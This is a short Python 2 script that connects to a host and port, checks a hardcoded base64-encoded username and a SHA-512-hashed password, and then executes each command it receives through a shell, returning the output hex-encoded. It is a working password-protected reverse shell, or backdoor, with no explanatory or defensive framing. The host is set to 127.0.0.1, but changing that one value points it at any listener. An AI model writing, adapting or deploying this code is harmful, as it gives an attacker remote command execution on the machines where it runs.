import socket,re,sys,hashlib,subprocess,base64
host = "127.0.0.1"
port = int(sys.argv[1])
usern = "gmo"
passw = hashlib.sha512("omg").hexdigest()
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
 sock.connect((host,port))
 sock.send("Username\n")
 user = base64.b64decode(str.strip(sock.recv(1024)))
 sock.send("Password\n")
 password = hashlib.sha512(base64.b64decode(str.strip(sock.recv(1024)))).hexdigest()
 if user == usern and password == passw:
  sock.send('Access Granted! Press enter to access the shell.')
  while 1:
   command = sock.recv(2048)
   proc = subprocess.Popen(command,stdout=subprocess.PIPE, shell=True)
   results = proc.stdout.read().encode("hex")
   sock.send(results)
  print 'Server closed!'
except:
 print 'Server closed!'